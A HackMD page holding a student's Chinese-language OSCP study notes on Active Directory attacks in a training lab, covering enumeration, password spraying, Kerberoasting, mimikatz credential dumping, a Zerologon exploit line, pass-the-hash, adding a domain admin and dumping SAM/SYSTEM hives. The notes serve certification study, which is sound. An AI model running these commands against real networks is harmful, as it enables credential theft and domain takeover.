Josh Ji
    • Create new note
    • Create a note from template
      • Sharing URL Link copied
      • /edit
      • View mode
        • Edit mode
        • View mode
        • Book mode
        • Slide mode
        Edit mode View mode Book mode Slide mode
      • Customize slides
      • Note Permission
      • Read
        • Only me
        • Signed-in users
        • Everyone
        Only me Signed-in users Everyone
      • Write
        • Only me
        • Signed-in users
        • Everyone
        Only me Signed-in users Everyone
      • Engagement control Commenting, Suggest edit, Emoji Reply
    • Invite by email
      Invitee

      This note has no invitees

    • Publish Note

      Share your work with the world Congratulations! 🎉 Your note is out in the world Publish Note

      Your note will be visible on your profile and discoverable by anyone.
      Your note is now live.
      This note is visible on your profile and discoverable online.
      Everyone on the web can find and read all notes of this public team.
      See published notes
      Unpublish note
      Please check the box to agree to the Community Guidelines.
      View profile
    • Commenting
      Permission
      Disabled Forbidden Owners Signed-in users Everyone
    • Enable
    • Permission
      • Forbidden
      • Owners
      • Signed-in users
      • Everyone
    • Suggest edit
      Permission
      Disabled Forbidden Owners Signed-in users Everyone
    • Enable
    • Permission
      • Forbidden
      • Owners
      • Signed-in users
    • Emoji Reply
    • Enable
    • Versions and GitHub Sync
    • Note settings
    • Note Insights
    • Engagement control
    • Transfer ownership
    • Delete this note
    • Save as template
    • Insert from template
    • Import from
      • Dropbox
      • Google Drive
      • Gist
      • Clipboard
    • Export to
      • Dropbox
      • Google Drive
      • Gist
    • Download
      • Markdown
      • HTML
      • Raw HTML
Menu Note settings Versions and GitHub Sync Note Insights Sharing URL Create Help
Create Create new note Create a note from template
Menu
Options
Engagement control Transfer ownership Delete this note
Import from
Dropbox Google Drive Gist Clipboard
Export to
Dropbox Google Drive Gist
Download
Markdown HTML Raw HTML
Back
Sharing URL Link copied
/edit
View mode
  • Edit mode
  • View mode
  • Book mode
  • Slide mode
Edit mode View mode Book mode Slide mode
Customize slides
Note Permission
Read
Only me
  • Only me
  • Signed-in users
  • Everyone
Only me Signed-in users Everyone
Write
Only me
  • Only me
  • Signed-in users
  • Everyone
Only me Signed-in users Everyone
Engagement control Commenting, Suggest edit, Emoji Reply
  • Invite by email
    Invitee

    This note has no invitees

  • Publish Note

    Share your work with the world Congratulations! 🎉 Your note is out in the world Publish Note

    Your note will be visible on your profile and discoverable by anyone.
    Your note is now live.
    This note is visible on your profile and discoverable online.
    Everyone on the web can find and read all notes of this public team.
    See published notes
    Unpublish note
    Please check the box to agree to the Community Guidelines.
    View profile
    Engagement control
    Commenting
    Permission
    Disabled Forbidden Owners Signed-in users Everyone
    Enable
    Permission
    • Forbidden
    • Owners
    • Signed-in users
    • Everyone
    Suggest edit
    Permission
    Disabled Forbidden Owners Signed-in users Everyone
    Enable
    Permission
    • Forbidden
    • Owners
    • Signed-in users
    Emoji Reply
    Enable
    Import from Dropbox Google Drive Gist Clipboard
       owned this note    owned this note      
    Published Linked with GitHub
    Subscribed
    • Any changes
      Be notified of any changes
    • Mention me
      Be notified of mention me
    • Unsubscribe
    Subscribe
    # OSCP Day 7 ###### tags: `OSCP` ## Intro * 滲透測試 * 風險導向 限定範圍 模擬駭客入侵 找出弱點 提供修補建議 AD改版兩次 OSCP PEN300會有更多變形 紅隊演練 * 紅隊演練 * 不限定範圍 真的模擬駭客入侵 嘗試取得網域伺服器控制權 破解NTLM Hash Net-NTLMv2 Relay Net-NTLM2 P689~803 AD列舉工具 維持權限 keberos as rep silver 備份帳號 [hacktrick](https://book.hacktricks.xyz/welcome/readme) [casvancooten](https://casvancooten.com/) [wadcoms](https://wadcoms.github.io/) 考試題目其實就那些 ## 網域 AD LDAP 台灣大概九成九都是 設定GCB 原先是美國政府制定的 DNS Enterprise Admins ** Domain Admins Administrators 當AD裝好後 就沒有Local Admin了 Cert Admin DNS Admin 資安院 AD大冒險Lab ```bash= # 列出服務版本號 nmap -sS -PN -A 10.7.30.21 ``` ``` enum4linux -A 10.7.30.21 ``` ``` # AD user列舉 GetADUsers.exe -all cs.org/cht ``` ``` # password spray medusa -M smbnt -h 10.7.30.23 -u CS\\CHT -p /usr/share/wordlists/metasploit/common_roots.txt ``` ``` net user net user cht3 net user cht3 /domain net user Administrator /domain net group "Domain Admins" /domain net view ``` ### Kerveros 主要有三個component Ticket system KDC Key Distribution Center 密鑰分發中心 KDC = AS+TGS AS Authentication Server 認證伺服器 TGS Ticket Grainting Server 票據授權伺服器 TGT Ticket Grainting Ticket 票據授權票據 * flow * 1. user -> request TGT -> DC # AS REQ * 2. user <- TGT + Session Key <- DC # AS REP * 3. user -> Request Ticket + Auth -> DC # TGS REQ * 4. user <- Ticket + Session Key <- DC # TGS REP * 5. user -> Request Service + Auth -> Resource Server # AP REQ * 6. user <- Server Authentiation <- Resource Server # AP REP ``` impacket-GetUserSPNs cs.org/cht:test1234 -request 10.7.30.23 ``` #### AS REP Roasting Descripti ## 權限提升 ``` # Impacket Toolkit GetADUSErs.exe -all cs.org/cht ``` Find GPP passwords * Map drives * Create Locala Users * Data Sources Win10 Unatted Set password User Login Script Secret很常放在網芳的資料夾 ``` smbclient -L 10.7.30.21 -U cs/cht smbclient //10.7.30.23/SYSVOL -U CS>ORG/CHT ``` 最好是先去打Lab知道他會怎麼考 然後去看PDF 要爆破用rockyou就好 ## 橫向移動 AD拓譜視覺化工具 [Bloodhound](https://www.sans.org/blog/bloodhound-sniffing-out-path-through-windows-domains/) SharpHound.ps1 # 把AD列舉完匯入到Bloodhound Kerberousting AS-REP Attack [Mimikatz](https://github.com/gentilkiwi/mimikatz) AD工具包 必考 * 做golden ticket * exploit工具 * 提權 密碼會存在記憶體裡 所以用mimikatz去dump記憶體拿密碼 新版本的mimikatz才有printnightmare 做dump要拿到local admin 基本上就是dump lsass.exe systeminfo ```bash= # 先拿debug全縣 privilege::debug # 拿有登入的人的密碼hash username有$就是系統帳號 sekurlsa::logonpasswords # 新版本windows會把明文的密碼遮掉 # 可以改registry 然後讓admin重登就可以看到 # 可以直接用工作管理員或sysinternalsuite去dump lsass.exe回家慢慢離線分析 # user的dump檔案 大概幾十MB # DC 的dump檔案 大概可能到GB ``` [zerologon](https://0xdf.gitlab.io/2020/09/17/zerologon-owning-htb-machines-with-cve-2020-1472.html) ```bash= mimikatz shell> lsadump::zerologon /target:cs.org /account:WIN-31G4O3O2TPF$ /exploit # 用DmainController 密碼hashtable的漏洞 一直猜零 去碰撞 登入後把密碼清空 cmd> impacket/secretsdump.exe -just-dc -no-pass WIN-31G40302TPF$@10.7.30.23 >> pass.txt ``` ![](https://hackmd.io/_uploads/H14I7JLS2.png) 用NTLM hash登入 ``` cmd> impacket/wmiexec.exe -hashes "" cs/Administrator@10.7.30.23 ``` ![](https://hackmd.io/_uploads/rkoYHkUSn.png) ``` # 用網域管理員的帳號新增使用者 並且加入到網域管理群組 cmd> net user chtt chttpasswd /domain /add cmd> net user chtt cmd> net group "Domain Admins" chtt /add cmd> net user chtt ``` ### 常用橫向工具 ``` impacket psexec.py # 445 smbexec.py $ 135,445,49751 wmiexec.py # 445 atexec.py # 135 445 50911 dcomexec.py # 445 ``` ``` # 其中一個維權方式 reg save HKLM\SAM sam.hiv reg save HKLM\SYSTEM sys.hiv ``` [AD Exploits Abusing shadow copy](https://github.com/S1ckB0y1337/Active-Directory-Exploitation-Cheat-Sheet#abusing-shadow-copies) ### crackmapexec 自動化mimikatz 講義說可以用 ### 中間人攻擊 攔截管理員的ticket ### Golden Ticket https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/golden-ticket 可以用mimikatz的模組偽造golden ticket ``` kerberos::golden ``` ### Silver Ticket ### PTH Pass The Hash PTT Pass The Ticket ### NTDS.dit # 可以copy出來 備份AD SAMBA PTH ### WINrm 如果發現impacket的exec都不能動,可以試試看winrm https://book.hacktricks.xyz/network-services-pentesting/5985-5986-pentesting-winrm#using-evil-winrm https://github.com/Hackplayers/evil-winrm ## 補充 SPN Service Principal Names doamin enum4linux 找網芳 用sharpHound Kerberos Auth 如果在列舉的時候看到backup就可以先打開來看看有沒有credential dir \\dc1.corp.com\backup之類的 webshell截圖flag不給分 要用reverse shell截圖flag才給分 ## 考試準備 https://fs.hubspotusercontent00.net/hubfs/5852453/OSCP%202.pdf 記得一邊截圖作筆記 不能共筆 雲端分享 OSCP METHDOTHOGY scanning [自動nmap](https://github.com/21y4d/nmapAutomator) 懶人腳本 exploitation flag post exploiting OSCP MINDMAP 心智圖 卡住時可以看 metasploit meterpreter payload只能用一次 不能用的東西 spoofing commercial tool db_autopwn browser_autopwn sqlmap sqlninja burp profession

    Import from clipboard

    Paste your markdown or webpage here...

    Advanced permission required

    Your current role can only read. Ask the system administrator to acquire write and comment permission.

    This team is disabled

    Sorry, this team is disabled. You can't edit this note.

    This note is locked

    Sorry, only owner can edit this note.

    Reach the limit

    Sorry, you've reached the max length this note can be.
    Please reduce the content or divide it to more notes, thank you!

    Import from Gist

    Import from Snippet

    or

    Export to Snippet

    Are you sure?

    Do you really want to delete this note?
    All users will lose their connection.

    Create a note from template

    Create a note from template

    Oops...
    This template has been removed or transferred.
    Upgrade
    All
    • All
    • Team
    No template.

    Create a template

    Upgrade

    Delete template

    Do you really want to delete this template?
    Turn this template into a regular note and keep its content, versions, and comments.

    This page need refresh

    You have an incompatible client version.
    Refresh to update.
    New version available!
    See releases notes here
    Refresh to enjoy new features.
    Your user state has changed.
    Refresh to load new user state.

    Sign in

    Forgot password

    or

    By clicking below, you agree to our terms of service.

    Sign in via Facebook Sign in via Twitter Sign in via GitHub Sign in via Dropbox Sign in with Wallet
    Wallet ( )
    Connect another wallet

    New to HackMD? Sign up

    Help

    • English
    • 中文
    • Français
    • Deutsch
    • 日本語
    • Español
    • Català
    • Ελληνικά
    • Português
    • italiano
    • Türkçe
    • Русский
    • Nederlands
    • hrvatski jezik
    • język polski
    • Українська
    • हिन्दी
    • svenska
    • Esperanto
    • dansk

    Documents

    Help & Tutorial

    How to use Book mode

    Slide Example

    API Docs

    Edit in VSCode

    Install browser extension

    Contacts

    Feedback

    Discord

    Send us email

    Resources

    Releases

    Pricing

    Blog

    Policy

    Terms

    Privacy

    Cheatsheet

    Syntax Example Reference
    # Header Header 基本排版
    - Unordered List
    • Unordered List
    1. Ordered List
    1. Ordered List
    - [ ] Todo List
    • Todo List
    > Blockquote
    Blockquote
    **Bold font** Bold font
    *Italics font* Italics font
    ~~Strikethrough~~ Strikethrough
    19^th^ 19th
    H~2~O H2O
    ++Inserted text++ Inserted text
    ==Marked text== Marked text
    [link text](https:// "title") Link
    ![image alt](https:// "title") Image
    `Code` Code 在筆記中貼入程式碼
    ```javascript
    var i = 0;
    ```
    var i = 0;
    :smile: :smile: Emoji list
    {%youtube youtube_id %} Externals
    $L^aT_eX$ LaTeX
    :::info
    This is a alert area.
    :::

    This is a alert area.

    Versions and GitHub Sync
    Get Full History Access

    • Edit version name
    • Delete

    revision author avatar     named on  

    More Less

    Note content is identical to the latest version.
    Compare
      Choose a version
      No search result
      Version not found
    Sign in to link this note to GitHub
    Learn more
    This note is not linked with GitHub
     

    Feedback

    Submission failed, please try again

    Thanks for your support.

    On a scale of 0-10, how likely is it that you would recommend HackMD to your friends, family or business associates?

    Please give us some advice and help us improve HackMD.

     

    Thanks for your feedback

    Remove version name

    Do you want to remove this version name and description?

    Transfer ownership

    Transfer to
      Warning: is a public team. If you transfer note to this team, everyone on the web can find and read this note.

        Link with GitHub

        Please authorize HackMD on GitHub
        • Please sign in to GitHub and install the HackMD app on your GitHub repo.
        • HackMD links with GitHub through a GitHub App. You can choose which repo to install our App.
        Learn more  Sign in to GitHub

        Push the note to GitHub Push to GitHub Pull a file from GitHub

          Authorize again
         

        Choose which file to push to

        Select repo
        Refresh Authorize more repos
        Select branch
        Select file
        Select branch
        Choose version(s) to push
        • Save a new version and push
        • Choose from existing versions
        Include title and tags
        Available push count

        Pull from GitHub

         
        File from GitHub
        File from HackMD

        GitHub Link Settings

        File linked

        Linked by
        File path
        Last synced branch
        Available push count

        Danger Zone

        Unlink
        You will no longer receive notification when GitHub file changes after unlink.

        Syncing

        Push failed

        Push successfully